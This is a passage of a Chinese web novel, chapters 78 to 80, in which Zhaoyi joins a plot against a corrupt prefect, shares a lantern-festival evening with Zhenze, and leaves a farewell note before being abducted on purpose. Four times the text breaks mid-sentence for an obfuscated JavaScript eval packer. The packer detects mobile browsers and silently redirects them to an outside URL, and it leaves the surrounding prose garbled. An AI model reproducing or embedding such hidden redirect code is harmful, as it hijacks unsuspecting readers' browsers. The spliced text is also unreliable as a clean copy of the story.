她突然想到了千香阁老板娘的话。 昭意看了珩则一眼。 月亮从云层中探了出来,皎洁的月光撒在了地上。 借着月光,她看清了珩则的神色。 他紧抿着双唇,目光凝重,虽然只有一瞬间,但还是叫她捕捉到了他眼中的一丝担忧。 昭意瞳孔微缩。 她或许猜到了珩则和老板娘想到的法子是什么了。 是她。 昭意稳住了呼吸,但刚才的异样还是叫珩则看出了破绽。 他一把抓住昭意的手,“不行,我不可能看着你去涉险。” 珩则目光紧锁着昭意,或许是借着夜黑,他眼里的感情头一次不加任何掩饰地流露了出来,却像烈火一样灼伤了昭意。 昭意垂下头,试图忽视那道视线,可即使这样,她依然能感受到头顶上方灼热的目光。 珩则却不想再看着她逃避了。 他执起她的手,低声道:“我们再想想别的法子,可好?” 昭意沉默着。 理智却在失控的边缘疯狂跳跃着。 她明明知道前面有一条最适合的路,若是以往,她定会毫不犹豫地走进去。 但是现在珩则却拉住了她,劝她再走另一条可能并不存在的路。 恍惚间,脸颊被温热的手指轻轻拢住。 昭意一愣,脑袋已经被对方抬了起来,两人的目光相接,让她不能再躲避。 夜色下,珩则静静地看着她,微风稍稍吹起他的发丝。 那双澄澈而又炽热的眼睛正注视着她。 昭意失神了一会儿,才清醒过来。 她想偏过头,却不料下巴被对方扣得死死的。 “放开。” 昭意努力让自己的声音冷淡一些。 但是她不知,脸颊上的绯红早就出卖了她。 珩则笑了笑,松开了手指。 他看着把脑袋扭到另一边不肯看他的昭意,道:“有时候我会疑惑,明明你在其他事情上都那么勇敢果决,为什么一到了感情的事上就变成了缩头乌龟。” 昭意看着远处,淡声道:“不知道你在说什么。” 珩则眼神一暗。 他捉住昭意的手,“我不信你不知道……” 话未说完,手就被昭意一把甩开了。 珩则一愣。 昭意咬着牙,将下唇咬得泛白。 她红着眼,却用最冷漠的声音道:“你若想找人成相爱相守,我想你找错人了。” 昭意抬眸,直直地看向他,斩钉截铁道:“我这辈子都不会与人成亲的。” 说罢,她不再去看珩则脸上的神色,转身便融入到夜色之中悄然消失了,仿佛不曾来过一样。 只留站在原地的珩则愣神。 半晌,他才沉默地看着昭意消失的方向。 而匆匆离开的昭意心中也并不平静。 她大步朝前走,却不知要去哪里。 在昭意对秦府为数不多的记忆里,最多的便是她被关在小小的院子里,每个人都用冷漠轻蔑的眼神看着她。 那时新的县令夫人正讨得县令欢心。 当时的她也不清楚发生了什么,只知娘死后,那个和蔼可亲的父亲也变了。 他不来看她,任由下人欺负她。 这就是她娘宁可与亲人断绝关系也要嫁给的人。 懦弱无能,贪财好色。 或许当年初任县令的父亲是真的爱过她娘,只是后来也是真的爱上了别人。 昭意从小就觉得,她这辈子都不会与任何人成亲,不会步入她娘的后尘。 只是刚才珩则对上的眼神时,她的心乱了。 胸腔中急促的跳动声,仿佛迫不及待破土而出的萌芽一样,催促着她跟着自己的心走。 在她即将开口的那一瞬间,理智却将她拉了回来。 她当时对珩则说的那句这辈子都不会成亲,与其说是对珩则说的,不如说是用来警告自己的。 冷风习习。 昭意站住了脚。 方才走得太急,她微微喘着气。 昭意抚上自己的心口,安慰自己只是因为走得太快,所以心跳才这么剧烈。 “谁在哪里!” 身后有人冷喝一声。 昭意一愣,她没有回头,借着月光看着离自己越来越近的人。 被拉长的影子慢慢朝她走来。 昭意听着脚步声,似乎有三个人。 她轻皱眉,若是三个人有些身手的人,恐怕不太好对付。 昭意的手悄悄握住绑在腰上的匕首,听着身后的声音,一步一步,越来越近。 只是影子才到脚边,在她即将要拔出匕首的那一刻,就听到后面传来三声倒地的声音。 昭意回头,就见身后站着一人,和她一样穿着夜行衣,眉眼在月光下显得清冷淡然。 他放下手,看了她一眼,没有说话。 在这场对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177765|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视中,昭意先转过了头,沉默着往小院的方向走去。 两人一路无言。 今夜自然是不欢而散。 * 次日清晨,第一缕晨光洒向木沧县时,在千香阁里的女人被少年催着下了楼。 她慵懒地打了个哈欠,看到店里站着的人时,她没有一丝意外。 “来这么早,尽折腾人。” 女人早就料到昭意会回来,却没想到这么快。 这也就说明,昨夜昭意一拿到消息,就去过秦府了。 昭意看着女子,直接道:“我想听听你的计划。” 她一夜未睡。 昭意听了一晚上自己的心跳声,还有那埋在内心深处复杂的情绪,却不想去深思那是什么。 她急需做一些事情,来转移注意力。 于是在窗户才透过一丝光亮时,她就起身换了衣服,离开了小院。 女人一笑,“确定了吗?知道了我的计划,就要乖乖听我的话哦。” 昭意看着她,“只要你做的事是有利于百姓的。” 女子卸下脸上的慵懒,认真道:“这是自然。” 说着,将昭意请上了楼。 两人入了座,女子沏了杯茶。 “唤我俞娘便是。” 俞娘将茶杯推到昭意身前,一手撑着脑袋,笑了笑,“若我的计划需要姑娘小小地涉个险,姑娘还会愿意吗?” 昭意看着杯中晃动的茶水,又看向俞娘。 “你的计划,不是想让我替了那些女子去州府吗?” 俞娘惊讶,眼中闪过一丝赞叹。 她随即一笑,“姑娘聪慧过人。” 昭意没有在意她的客套话,她抬眸,“那你后面的计划呢?不能只是让我换那些女子回来却没有别的行动吧?” “自然不会。” 俞娘附身,拉近了两人的距离。 她轻声问:“姑娘可知州上那官爷府上有个账本?” 昭意抬眸。 俞娘道:“姓秦的这次得罪的人,也是个以权压人,鱼肉百姓的贪官。” 她说这话时候,双眸泛冷,有恨意不自觉的就渗透了出来。 俞娘继续道:“我知道他手里有个账本,记着下面的人贿赂他的东西,也记着他这些年来自私贪污的朝廷银两。” “我与那贪官有着不共戴天之仇,姓秦的不过是我想要顺手铲除掉的东西罢了。若那贪官能倒,姓秦的必然跑不了。” 她看向昭意,“你的目标是姓秦的,我的目标是那贪官,我们的目的都是一样的,不如一起合作,如何?” 她眼中的恨意不似作假。 昭意思索了一会儿,觉得俞娘说的有几分道理。 她初来乍到,在获取消息上,如果有俞娘的帮助确实会更好。 于是昭意道了句,“好。” 俞娘看着昭意,想了想,还是又说了一句,“进了那秦府,里面也有我们的人,到时候定然护你全身而退。” 昭意颔首。 见昭意没有异议,俞娘也算是放下心来,她挑起帘子,正要走入里间拿个东西,却感到旁边一阵杀意袭来。 昭意敏锐地察觉到了不对劲,她猛地一仰身,一把匕首正好擦着她的脸颊插到了旁边的墙上。 俞娘大惊,“你干什么!” 屋里不知何时多了一个断眉的男子,他站在俞娘身边,冷眼看着昭意,转而又看向了俞娘,声音沙哑道:“我不信她。” 俞娘一愣。 就见男子看着昭意,冷笑一声,对俞娘道:“这位姑娘恐怕没告诉你,她姓秦吧?” 78. 第 78 章 温暖 当了多年的杀手,他拥有常人难比的敏锐,两次不同寻常的见面足够让昭意引起他的注意了。 上次千香阁一别后,他便将昭意的来历查了个明明白白。 男子看着俞娘,冷哼一声,“我道是来了什么合适的人选,原来是个内鬼。” 闻言,俞娘却笑道:“若你说的是她的身份,我想你可以放下刀了。” 男子拿刀的手一顿。 俞娘望向他,目光从容,“阿朗,你若查过她的身份,想必就应该知道她这些年来的经历,你还有什么可忌惮的呢?” 昭意看着桌上那杯茶,眼眸同茶水一样微微泛起涟漪。 被唤做是阿朗的男子沉默了一会儿,收起了手中的刀。 俞娘朝昭意安抚一笑,“阿朗这人率直了些,姑娘还轻不要介意。” 昭意抬头看向她。 俞娘又道:“毕竟以后要一同谋事,必须确保大家能全然信任彼此,警惕一些,也是为大家好,你说是吧?” 她笑盈盈地看着昭意,眼里的笑意却极为复杂,不知是含了些威胁还是劝道在里面。 昭意盯着她,忽而一笑。 “俞娘说的有道理,我们要全然信任彼此。” 瞧着俞娘眼里升起的光,昭意的话一转,她笑问:“既然俞娘早就将我的过往扒得一干二净,那是不是也得告诉我,俞娘和这位杀手的过往呢?” 昭意说着,目光紧紧锁在两人身上。 她心中不似表面上看得那么平静。 一个身经百战的杀手,一个心思深沉的老板娘。 她并没有完全的把握能从这两人手里逃出去。 屋中陷入一片死寂,连三人的呼吸声都听得清楚。 阿朗看着俞娘。 两人对视一眼后,俞娘幽幽盯着昭意,最终叹了一声,“罢了,也没什么不可说的。” “几年前,我也就是一个普通的深闺妇人,日日在家中盼着归来的丈夫。那会我在泉州城,还未来到木沧县。我丈夫是个商人,常年走南闯北的不着家。虽然聚少离多,但这日子也还是能过下去。” 她的声音渐渐低沉了下去,眼里晦暗不明,“直到有一日,他被唐全德捉进了监狱中。” 俞娘一顿,解释道:“唐全德便是此次姓秦的得罪的官爷,此人仗着手里权势大便欺压普通百姓,无恶不作。” 她苦笑一声,“我丈夫便是那些被欺压的百姓中的一人。可恨后来倾家荡产,也未能救我丈夫出狱。” 俞娘低泣,用帕子按了按眼角。 “丈夫死后,我便离了泉州城,到了此地。一晃眼,几年便过去了,可我心中的仇恨并不会随之淡去。” 她眼里升起一丝狠意,染着蔻丹的指甲深深陷入掌心。 “我一直等着一个机会,能彻底扳倒唐全德的机会。” 于是她等来了昭意。 俞娘看向她,恳求道:“若此事能成,整个泉州城的人都能从唐全德的魔爪之中解脱出来。” 瞧着俞娘说得真切诚恳,昭意心中信了几分。 她目光落到了旁边的男子身上。 俞娘见状便道:“他名唤阿朗,几年前我在郊外救过他一命,他便帮我做事。” 昭意看着阿朗,阿朗也毫不闪躲地回望过去。 目光坦荡,不似作假。 昭意思索了一会儿,又问:“你的目标是那账本,得到账本之后呢?如何确定能扳倒唐全德?” 俞娘朝她一笑,“姑娘,是世上有贪官,自然也有好官。我知晓朝廷中一位重臣近段时间在泉州附近,届时只要将账本交给那位大臣,区区一州官员,自然没有还手之力。” 听俞娘这么说,这确实是个较为稳妥的计划。 昭意沉思后,一点头,“如此我便明白了,你只需告知我下一步需要怎么做便好。” 见她答应,俞娘松了口气。 她朝昭意一笑,只是话到口边,却又问起来,“怎么不见姑娘那日身边的男子?他可要同我们一起?那日看那他十分敏锐,走路脚下带风,想来也是个武功高深之人,若是能与我们一起,我们或许能多几分胜算。” 昭意愣了愣,垂眸掩住眼里的不自在。 “他……此事与他无关。” 昭意放在膝盖上的手紧了又松开,她笑了笑,“此事我一人参与便可,他不知情,不用将他牵扯进来。” 确实是这样。 俞娘提的这个计划对她来说诱惑十分大。 原本只是想帮一帮阿月一家,却不想此事还能一举端了秦府。 只是此事风险也很大。 若是失败了…… 窗外传来一声鸟鸣,昭意抬头,就见一只鸟扑腾着翅膀飞远了。 她盯着那飞走的鸟,有些失神。 若是失败了,珩则也还有退路,寻亲人也好,定居他乡也罢,他还能远走高飞,另寻出路。 对她来说,此事之中还有私仇,但是对珩则来说,这事与他毫无关系,她不想将他牵扯进来。 俞娘若有所思地看着昭意,笑了笑,“罢了。” 俞娘抽出桌上一张纸,递到昭意面前。 “往后的计划,我都写在上面了。” 昭意看着眼前带着香薰的纸张,眼神一凝。 * 等昭意回到小院时,已经快正午了。 昭意站在小院门外,推门的手一顿。 现在珩则应该已经醒了吧? 她抿了抿唇,昨晚的事还历历在目。 想到晚风中男子柔和的眉眼,还有温热的呼吸…… 昭意垂下眼。 想不到已经过去一夜了,她还是不知道要怎么面对珩则。 她站在门前许久,最终深吸了一口气,推门而入。 院里空荡荡的,没有人影。 昭意轻轻将门关上。 她悄声走过院子,顺利地到了自己屋前,一路上都没有见到珩则。 这院子有些太过安静了些。 昭意抬脚进屋的步子一顿,心中有些不安,她犹豫了几秒,转身朝珩则屋里走去。 她抬手敲了敲门,却没有人回应。 心中的不安骤然放大,昭意猛地一推,房门大大敞开,里面并没有珩则的影子。 大中午的,他不在家中,又去了哪里? 昭意看着桌上搁置的笔,又看向床边叠好的衣服,不像是他自己离开的。 她呼吸一紧。 难道昨日的尾巴没有解决掉,他被县令的人抓去了? 一旦想到这个可能,昭意心中就砰砰直跳。 她进了屋中拿过一把刀,转身就朝门外匆匆走去。 在推门而出时,迎面却撞来一人。 昭意走得太急,心中又装着事,一时没有反应过来,直直地朝来人撞了上去。 冷清的墨香扑面而来。 “担心。” 对方没有被她撞倒,还轻轻握住了她的手,稳住了她要倒下的身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221988|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 珩则背着个空空的篓子,有些惊讶地看着她。 前几日两人去卖画时,就是用的这个篓子装画卷。 他原来是卖画去了。 昭意愣愣地抬头看他,“你……” 在接触到对方目光时,那种不自在的感觉又席卷而来。 她后退一步,从珩则怀里退了出来。 昭意目光投向别处,突然不知道要说什么。 她看了眼自己手中的刀,默默将刀藏到身后。 珩则早已将一切收回眼中,他笑了笑,并未说穿。 他抬手将门一关,跨步就朝里走。 “卖画回来时,遇到一家卖叫花鸡的,闻着甚香,不知能不能比得上苍山的彩尾鸡。” 他拎着手里的食盒,一边走一边道,仿佛没有看到昭意手里的刀,也仿佛昨夜的事情没有发生过一样。 昭意抿了抿唇,跟了上去。 珩则对昭意道:“你等我一会儿。” 说着他便提着食盒进了厨房。 他也没有问昭意早上去了哪里。 昭意站在原地,愣愣地看着在厨房里忙活的珩则,半晌才想起来将手里的刀放回去。 不一会儿珩则就端着碗筷出来了。 珩则道:“你早上没吃东西,应该是饿了吧?” 说着,他夹了一块鸡肉放在昭意碗里,“快吃吧。” 昭意沉默着端起碗,咬了一口鸡肉。 香味扑鼻而来,鸡肉还热腾着,仿佛刚出锅的一样。 一宿未睡,加上从昨日晚食后就未进过食,昭意确实有几分饿了。 她吞咽了一口饭,眼前突然一片模糊。 趁着珩则低头用食的瞬间,她抬起手背擦了擦眼。 珩则问:“与苍山的烤鸡比起来如何?” 昭意嘴里含着东西,她鼻子一酸,将嘴里的东西吞了下去,低声道:“好吃。” 珩则没再说话,默默夹着菜,仿佛没有看到旁边人通红的眼睛。 最后昭意将碗搁置在了桌上,她道:“我吃好了。” 她目光落在角落的背篓上,哑声问:“银子不是已经赚够了吗?你怎么还去卖画?” 珩则用手帕擦了擦嘴角,“银子又不是只有这么一个用途,以后日常开支也会用得到。若以后想换个大点的宅子,或是想打点些别的,便能用得上。” 他的目光温和如水,只看了一眼就快叫人深陷其中。 昭意垂下了眼。 她抓紧了自己的衣裙,不由得喃喃道:“以后……” 昭意蓦地一愣。 她在说什么呢? 她差点就将心里的想法说出口了。 刚才她在想,如果以后是这样的生活,其实也挺好。 原来回了家,不会只有空荡荡的院子,还会有人热好饭菜陪着她一起吃饭。 但是一想到答应了俞娘的事,昭意就将想说的话咽了回去。 若能成功,那当然好。 可若是失败了……她不想让珩则空欢喜一场。 昭意抬头,就看到珩则默默看着她。 珩则问:“你刚刚说什么?” 昭意沉默了一会儿,朝他一笑,“没什么。” 她站起身来,故作轻松,“突然有些困,我去午休了。” 昭意连忙转身朝外走去,生怕晚了一刻就让珩则发现不对劲。 看着她的背影消失,珩则垂眸看着桌上的饭菜,半晌,低叹了一声。 79. 第 79 章 灯会 窗外天色已然黑了下来。 珩则在黑暗中点起油灯,身前的桌上铺了一张白纸,他提起笔来,在要落下笔时却又犹豫了。 或是因为心实在静不下来,他索性搁了笔,看着那片空白发愣。 直到门外响起了敲门声。 这小院里除了他和昭意就不会再有别人。 珩则一愣,快步上前开了门。 昭意洗去了脸上的黄汁,露出白净的脸来,一头乌发披在身后。 她抬起眼,烛火的倒影在她眼中晃动。 她说:“我回来时听闻南街那边有个灯会,可要去看看?” 昭意袖中的手紧紧握着。 她是鼓足了勇气才来问珩则的。 虽然县令应该不会急着将府里的姑娘送去泉州城,但俞娘计划的事还是越早进行越好。 毕竟拖的越久,变数就越多。 以是他们约定好的时间就是明日。 那就意味着,今晚是她与珩则的最后一晚。 珩则屋里的灯火将他的影子印在了窗户上,她站在外面看了有一会儿了。 她思虑了许久,还是上前敲开了他的门。 就任性一次吧,如果计划失败,这就是两人此生的最后一晚。 只是良久都没等来珩则的回话。 昭意垂下眼,她抿了抿唇,“如果你忙的话,就算了。” 她转身将走,手却立刻被人捉住了。 昭意回眸,便看到珩则眼里满满的欢喜。 他拉着她的手,笑道:“好。” 她好像从未见珩则笑得这么轻快过,眼里绽开笑意,仿佛春水一般晃眼, 昭意握紧了他的手。 南街的灯火每三天都会有一次。 这段时间因为城中女子失踪的事,街上的人比较少,若是在往日或许会更热闹一些。 街道两边点着彩色的灯笼,高高地挂在树上。 南街比别的地方热闹一些,街道上能见到三三两两结伴而行的人。 来到南街,昭意才发现也能见到几个穿着男装的姑娘同心上人走在一起。 她偏头看了珩则一眼。 几乎是瞬间,珩则就转过头来,朝她一笑。 昭意今日没有穿男装,她一身青纱裙在人群中很是惹眼。 珩则看到周围的人向她投来的视线,忍不住问道:“今日怎么穿着裙子出来了?” 昭意朝他一笑,“怎么,不好看吗?” 她微微偏头,眨眼看着珩则,眼里溢出的笑意仿佛星辰一般璀璨。 灯火的柔光打在她脸上,又添了几分朦胧。 珩则失了神,他垂眼喃喃道:“没有,很好看。” 远处突然传来一声欢呼,昭意看了过去,竟有一群人围在远处,不知在欢呼什么。 昭意看向傻愣着的珩则,抓过他的手,“我们去那边看看。” 珩则应了一声,眼睛却从未离开过身边的人。 昭意好笑地看着他,“当初不应叫你墨择,应该叫你呆子才是。” 珩则笑了一声,扬起嘴角。 “只要是你取的,叫什么都行。” 正说着,两人已来到人群边。 人群中站了个老头,手中举着个木盒子。 旁边有人喊道:“李老板,您就别卖关子了,今日的彩头到底是什么啊?” 老头身边的人摆了摆手,“大家别急,马上揭晓!” 众人静了下来,盯着老头手里的东西。 那老头故作神秘一笑,在众人的注视下缓缓打开了盒子。 盒子里静静地躺着一支彩色流云簪子。 人群中有人“咦”了一声,打趣道:“莫不是老李打算跑路了?搞个破簪子出来当彩头啊?” 旁人纷纷附和着。 这也难怪,往日的彩头不是价值连城,就是稀有珍贵。 而今日拿出的这簪子,除了好看了一些,就没有别的特色了。 老头身边的人挥手示意众人安静。 只听老头轻咳一声,悠悠介绍道:“这可不是普通的簪子,这簪子是由南炎晶石打造而来,只要不遇大火,就算过了几十年几百年,还能像今日这般精致华丽。” 人群中有人不屑,“几百年?我们都化成土了,谁知道还精不精致啊?” 却也有人目光锁在了那簪子上。 老头笑而不语,“那今日的武试,便开始吧。” 一声铜锣声后,一男子跳上了擂台。 他撸起袖子,漏出黝黑的皮肤,一双眼睛十分明亮。 这男子确实有些功夫在身上,来了几个人上擂台,皆被他打得趴下。 昭意看着他有些眼熟,她的目光落在了擂台边看着台上的一个“男子”身上。 那“男子”个子不高,身形瘦弱。 昭意一眼就看出了那里站的是个姑娘。 那姑娘正抬眼看着台上的人,眼里又是欣喜又是担心。 昭意恍然,原来是刚才路上见到过的人。 “你喜欢吗?” 身边的珩则突然问。 他看昭意在这擂台前站了许久,以为她也对那彩头感兴趣。 昭意一愣,还没来得及说话,就听旁边的人道了句,“你在这里等我。” 说罢他朝昭意笑笑,脚下一点,直接飞到了台上,引起众人一阵惊呼。 台上男子一愣,知道珩则明显与刚才上台的人完全不同。 擂台旁那个穿着男装的姑娘也有些紧张,朝男子喊了一声加油。 男子闻言,认真地看着珩则,“这支簪子,我定要拿下。” 珩则闻言,淡淡一笑,“抱歉,我也必须拿到这支簪子。” 说着他朝台下的昭意看了一眼。 昭意朝他摆了摆手,想让他从台上下来,却与他的目光撞上。 珩则嘴角含笑,眼里是志在必得。 昭意一愣,她甚少见珩则这般意气风发的模样,往日他总是不怎么爱说话,就一个人默默地做着自己的事。 见到他这般在台上轻快,昭意放下手,也便随着他去了。 众人将目光投向了台上两人,开始下赌注,却很难猜到谁能赢得最后的彩头,毕竟看着这两人都有能赢彩头的可能。 铜锣声响起,比试开始了。 先上台的男子身手很不错,出拳也十分有力。 他朝珩则攻去的那几个动作,昭意看了也不免为珩则捏了把汗。 只是这几个动作在珩则看来却十分缓慢,他几步灵巧地避让,就成功化解了男子的进攻。 在旁人看来,似乎男子一直占据着进攻的优势,而珩则只一味避让着。 但是只有男子知晓,无论他怎么出拳,却永远也打不到对方身上,甚至碰不到对方的一角。 “咚”的一声,铜锣再次被敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221989|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响。 众人都没有看清楚珩则是如何出手的,就见那男子躺在地上起不来了。 “好啊!” 就连姓李的老头都鼓起掌来,他看着珩则,眼里带着赞叹。 旁人呈上盒子,珩则从对方手中接过,对李老头道了句“多谢”就要下台去,将那些惊叹都抛之身后。 那位男子也被人扶着下了台,站在擂台边的姑娘立即就扑了过去。 昭意愣愣地瞧着看他们,听到身后有人唤她,她才转过身去。 珩则捧着盒子,一步一步朝她走来。 他将盒子递给昭意,目光明亮,“我赢来了,送给你。” 昭意接过那盒子,里面躺着一支簪子,晶莹剔透,在灯光下也折射着彩色的光芒。 “很好看。” 手指轻轻拂过簪子,从指间传来一阵凉意。 只是她看了一眼远处的两人,又垂眸看着手心里的簪子,心中纠结了一番,还是朝着那两人走去。 男子背对着昭意,抬手擦了擦身前姑娘的眼睛,“没事,真没受伤!当时没反应过来而已……” 话音未落,那姑娘就看到了昭意和她手上的盒子。 姑娘一愣。 昭意朝两人一笑,“实在抱歉,我没同我朋友说好就上了台,竟不小心抢了你们的彩头。” 说着她就将手里的盒子递了出去。 而那姑娘却摇了摇头。 她笑道:“我只是想要陈郎给我赢来的东西罢了,是什么不要紧,只要是他给我赢来的就好。” 说着,姑娘与男子相视一笑。 姑娘继续道:“刚刚那男子因你的一眼欢喜就要上台,想必也不只是位普通的朋友吧?” 闻言,昭意脸颊一热,她想着珩则在远处应该听不见他们说话,便点了点头。 姑娘一笑,她的目光落在昭意手中的盒子上,“有些物品的价值并不在其本身多有昂贵,更在于它被赋予的意义。姑娘可要担心了,你这般行为,恐怕有些伤了为你上台之人的心了。” 昭意一愣,她缓缓回头。 隔着人群,她看到了珩则还站在原地看着她。 他的视线还在她身上,只是眼神却没了之前那种明亮的神采。 拿着木盒的手突然像被烫到了一样。 昭意沉默了一会儿,谢过那位姑娘,回到了珩则身边。 珩则却不说话,只提步往前走。 两人一路无言,闯过人群,走到了桥边上。 他走得有些快,昭意跟了一会儿,还是没忍住拉住了他的衣角。 珩则停了下来,却没有看她。 昭意小声道:“对不住。” 珩则抿了抿唇,这才垂眸看了她一眼。 昭意竟从那眼神中看出了几分幽怨。 珩则盯着她,“你拿我送你的东西去送给别人。” 还是一个不认识的人。 昭意连忙道:“我错了,我向你道歉。” 珩则却还是看着她不说话。 昭意想了想,试探着问:“不如我也给你赢个东西回来?” 只是不知那些人还在不在。 昭意这么想着,竟真想回头去找刚才的那伙人。 却听珩则轻叹一声,他微微抬手,轻轻捏起昭意的一缕头发。 他目光如水。 “你若真想道歉,就让我为你挽一次发,可好?” 80. 第 80 章 离别 昭意的头上向来没有多余的发饰,她只用一根普通的簪子就能将头发挽起来。 珩则的手穿过她的发丝,将她上头的簪子一摘,头发便如瀑布般散落了下来。 昭意垂着眼。 两人站得很近,她都能听到珩则轻轻的呼吸声。 发丝被牵扯起,一根簪子插入发间。 珩则后退一步,看着昭意一笑,“很好看。” 之前的木簪子太过素净,现在这样刚刚好,彩色流云簪缠着她的发丝,垂下来的晶石轻轻晃动着。 “是吗?” 昭意有些不自在地摸了摸头发,眼神飘忽了几下。 桥边的灯笼随风轻轻晃动,忽明忽暗的灯光照在两人身上。 珩则的眼睛生得十分好看,那双黑眸定定地看着昭意,昏暗的灯火印在他眼里,也成了他瞳孔中的一抹亮色。 只是看着看着,他的眼神似乎发生了变化。 逐渐变得晦暗又炽热。 昭意一愣,就见他微微俯身上前,温热的呼吸撒落在昭意脸上。 “你……” 她屏住呼吸,忍住了想要后退一步的冲动,紧张得闭上了眼。 想象中的触感却没有传来。 在昭意闭上眼时,珩则却停了动作。 他看着昭意因为紧张而微微颤抖的睫毛,眼神带了些无奈,他微微错开了角度,吻落在了昭意发间。 昭意一愣,愕然地睁开了眼。 就见珩则朝她一笑,抬头拂过她额前的碎发,“是我冒犯了,我应该等你真正不介意的那一天才是。” 昭意张了张口,却没有说话。 喉咙像被哽住一样,让她发不出任何声音。 她垂下眼,挡住眼中的哀伤,轻轻“嗯”了一声。 她没办法给珩则太多承诺。 昭意看着两人紧握的手,又看向珩则带笑的双眼,也朝他一笑。 欢快的时光总是短暂,夜深了,街上行人逐渐少了,两人便踩着月色回了小院。 昭意回了房后,就静静靠在床边,听着隔壁安静下去的声音,直到归于一片宁静。 她轻声走到桌前,点燃了烛火。 昭意提笔,用并不好看的字写下几封信。 她提笔时,又想起珩则的那一手好字。 昭意沉默了一会儿才落笔下去。 待一切都打点完毕后,昭意只轻轻一动,头上的簪子就突然掉落了下来。 珩则挽发的手法确实不太熟练,那簪子坚持到现在才掉下来也是不错的了。 昭意将簪子捡起,犹豫了一会儿,还是将簪子贴身放置。 昨晚这一切后,昭意轻轻推开了门,往珩则屋里的方向看了一眼,便转身朝外走去了。 今晚的月色十分好。 洁白的月辉撒落在地。 她匆匆走出巷子,朝着城门口方向走去。 昭意佯装走得慌张,实则时刻听着身后跟着的几个脚步声。 那几人从南街就一直跟着她了。 昭意昨日穿着一身青衣纱裙走在南街,早就引起了这伙人的注意。 或许是在擂台上见识过珩则的功夫,所以这几人才迟迟不肯出手。 如今昭意落单,正合他们之意。 这也正合昭意之意。 在走到一段小路时,身后的尾巴终于忍不住出手了。 两个黑衣人踩着屋檐一跃而下,拦去了昭意的去路。 昭意顿在了原地,神情惊恐。 只是不等她尖叫,身后就伸来了一只手,带着帕子捂住了她的口鼻。 一股刺激的异味袭来,昭意挣扎了几下,便失去了意识。 * 清晨下起了下雨,雨滴落在地上发出轻微的声响。 珩则在雨声中醒来,他躺在床上听了一会儿雨声,慢慢想起昨夜的事。 他忍不住地笑了一身,立即翻身起来,行到门前。 只是静静听去,隔壁屋的人还未起身。 珩则看了一眼日头,天还未亮,确实还尚早。 他在门口徘徊了一会儿,想到有家店卖的包子甚是好吃,他晨起卖画时候路过几回,每次店前的队伍都排得长长的。 若是现在去应该还买得到。 念此,他便轻轻推了门出去。 待他排队买来包子时,晨光已经照亮了整个木沧县。 雨已经没在下了,地上一片湿意。 珩则将伞晾在院里,看向屋子时却一愣。 屋子静悄悄的。 他缓缓朝屋里走去,打量着昭意那屋。 看着也不像是出去了的样子。 珩则犹豫了一会儿,还是先回了自己屋里。 或许是昨夜两人回来太晚,昭意睡得晚。 他将包子放在桌上,想到一会儿就能见到昭意,嘴角就忍不住地勾起笑来。 只是随着时间过去,隔壁屋子还是一片安静。 珩则突然有种不太好的预感。 他走到昭意屋前,抬手敲了敲门。 “昭意,你醒了吗?” 回答他的,只有一片死寂。 他目光突然暗沉了下来。 珩则手里一用力,门就朝里被拍开了。 屋里空无一人。 珩则抿唇,抬步进去,转眼就看到了桌上的几个信封。 他拿起了写着自己名字的那一封,撕开来看。 雪白的纸张上只写着几个字——愿君平安喜乐,一路光辉。 落款,昭意。 珩则目光落在纸面上,面无表情。 只是手中拿的纸张抖得厉害。 下一秒,手中的纸就被捏得皱起。 在那纸张快要承受不住这力道时,手的主人忽而一松,纸张就轻轻飘落在地。 珩则转身,拿起屋里的黑木盒子,就朝外疾步而去。 * 再说昭意,等她醒来时,耳边有好几个姑娘的声音。 她睁眼望去,只见远处坐着几个女子,垂着脑袋在说着什么。 昭意撑起身来,又觉得有些乏力。 这伙人用的药实在有些猛烈。 就连脑袋都还有些晕沉。 “你醒了?” 旁边传来一道声音。 离昭意近的一个姑娘见她醒来,便走了过来。 那姑娘扶着昭意躺下。 “先躺着,别起太猛,过一会儿就好了。” 昭意眨了眨眼,终于看清了自己身边这个姑娘的模样。 长得甚是清秀,温温婉婉的样子。 昭意躺着,思索了一会儿,哑声道:“这里是哪儿?” 那姑娘沉默一会儿,摇了摇头,“我们也不知,约莫是哪个大人的后院吧?” 她说着,看向了外头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 